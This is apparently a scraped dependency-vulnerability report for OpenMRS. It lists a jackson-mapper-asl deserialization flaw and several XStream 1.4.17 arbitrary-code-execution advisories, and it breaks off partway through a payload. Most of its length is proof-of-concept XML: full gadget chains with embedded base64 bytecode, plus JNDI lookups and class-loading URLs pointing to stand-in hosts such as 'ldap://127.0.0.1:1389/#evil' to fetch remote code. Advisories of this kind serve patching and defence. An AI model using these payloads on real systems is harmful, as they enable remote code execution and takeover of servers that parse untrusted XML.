Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.codehaus.jackson:jackson-mapper-asl
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.codehaus.jackson:jackson-mapper-asl@1.9.14-MULE-002
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › org.codehaus.jackson:jackson-mapper-asl@1.9.14-MULE-002
Overview
org.codehaus.jackson:jackson-mapper-asl is a high-performance data binding package built on Jackson JSON processor.
Affected versions of this package are vulnerable to Improper Input Validation which results in several instances of deserialization of untrusted data. This issue is parallel to vulnerabilities reported and fixed in jackson-databind (CVE-2017-17485, CVE-2017-7525, CVE-2017-15095, CVE-2018-5968, CVE-2018-7489, CVE-2018-1000873, CVE-2019-12086). Although no fix is available for codehaus, this vulnerability can be remediated by using a fixed version of jackson-databind.
Remediation
There is no fixed version for org.codehaus.jackson:jackson-mapper-asl
.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
<outer-class>
<verbose>0</verbose>
<effort>0</effort>
<optDumpBands>false</optDumpBands>
<optDebugBands>false</optDebugBands>
<optVaryCodings>false</optVaryCodings>
<optBigStrings>false</optBigStrings>
<isReader>false</isReader>
<bandHeaderBytePos>0</bandHeaderBytePos>
<bandHeaderBytePos0>0</bandHeaderBytePos0>
<archiveOptions>0</archiveOptions>
<archiveSize0>0</archiveSize0>
<archiveSize1>0</archiveSize1>
<archiveNextCount>0</archiveNextCount>
<attrClassFileVersionMask>0</attrClassFileVersionMask>
<attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
<bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlR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VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</bean>
<localCache>
<methods>
<entry>
<string>getOutputProperties</string>
<list>
<method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</method>
</list>
</entry>
</methods>
</localCache>
</attrIndexTable>
<shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
</outer-class>
</comparator>
</default>
<int>3</int>
<string-array>
<string>yxxx</string>
<string>outputProperties</string>
</string-array>
<string-array>
<string>yxxx</string>
</string-array>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://ip:1389/#evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<linked-hash-set>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91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xvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<dynamic-proxy>
<interface>javax.xml.transform.Templates</interface>
<handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
<sun.reflect.annotation.AnnotationInvocationHandler>
<default>
<memberValues>
<entry>
<string>f5a5a608</string>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
</entry>
</memberValues>
<type>javax.xml.transform.Templates</type>
</default>
</sun.reflect.annotation.AnnotationInvocationHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<javax.swing.event.EventListenerList serialization='custom'>
<javax.swing.event.EventListenerList>
<default>
<listenerList>
<javax.swing.undo.UndoManager>
<hasBeenDone>true</hasBeenDone>
<alive>true</alive>
<inProgress>true</inProgress>
<edits>
<com.sun.xml.internal.ws.api.message.Packet>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
<cleaned>false</cleaned>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>cn=four,cn=three,cn=two,cn=one</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javanamingreference</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
<com.sun.jndi.ldap.LdapName>
<string>cn=four,cn=three,cn=two,cn=one</string>
<boolean>false</boolean>
</com.sun.jndi.ldap.LdapName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1:8080/</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default/>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>refObj</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default/>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>ExecTemplateJDK7</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default/>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
</javax.naming.directory.BasicAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
<limit>2</limit>
<posn>0</posn>
<homeCtx/>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</com.sun.xml.internal.ws.api.message.Packet>
</edits>
<indexOfNextAdd>0</indexOfNextAdd>
<limit>100</limit>
</javax.swing.undo.UndoManager>
</listenerList>
</default>
<string>java.lang.InternalError</string>
<javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
<null/>
</javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://127.0.0.1:1389/#evil</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
<children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
<list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
<current>
<hash>1</hash>
<key class='javax.naming.Binding'>
<name>ysomap</name>
<isRel>false</isRel>
<boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
<refCtx class='javax.naming.spi.ContinuationDirContext'>
<cpe>
<stackTrace/>
<suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
<c class='list'/>
<list reference='../c'/>
</suppressedExceptions>
<resolvedObj class='javax.naming.Reference'>
<className>EvilObj</className>
<addrs/>
<classFactory>EvilObj</classFactory>
<classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
</resolvedObj>
<altName class='javax.naming.CompoundName' serialization='custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string>
</javax.naming.CompoundName>
</altName>
</cpe>
</refCtx>
<skipThisReferral>false</skipThisReferral>
<hopCount>0</hopCount>
</boundObj>
</key>
</current>
<currentBucket>0</currentBucket>
<count>0</count>
<threshold>0</threshold>
</list>
</children>
<currentReturned>true</currentReturned>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>true</rootProcessed>
<scope>2</scope>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
Remediation
Upgrade com.thoughtworks.xstream:xstream
to version 1.4.18 or higher.
References
high severity
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT and org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT
Detailed paths
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
-
Introduced through: openmrs/openmrs-core@openmrs/openmrs-core#97360f63a005b860c3c67c5067be71b212fc4044 › org.openmrs.web:openmrs-web@2.7.0-SNAPSHOT › org.openmrs.api:openmrs-api@2.7.0-SNAPSHOT › com.thoughtworks.xstream:xstream@1.4.17
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
<listArg class='javax.naming.CompoundName' serialization='custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string>
</javax.naming.CompoundName>
</listArg>
<cleaned>false</cleaned>
<res>
<msgId>0</msgId>
<status>0</status>
</res>
<enumClnt>
<isLdapv3>false</isLdapv3>
<referenceCount>0</referenceCount>
<pooled>false</pooled>
<authenticateCalled>false</authenticateCalled>
</enumClnt>
<limit>1</limit>
<posn>0</posn>
<homeCtx>
<__contextType>0</__contextType>
<port__number>1099</port__number>
<hostname>127.0.0.1</hostname>
<clnt reference='../../enumClnt'/>
<handleReferrals>0</handleReferrals>
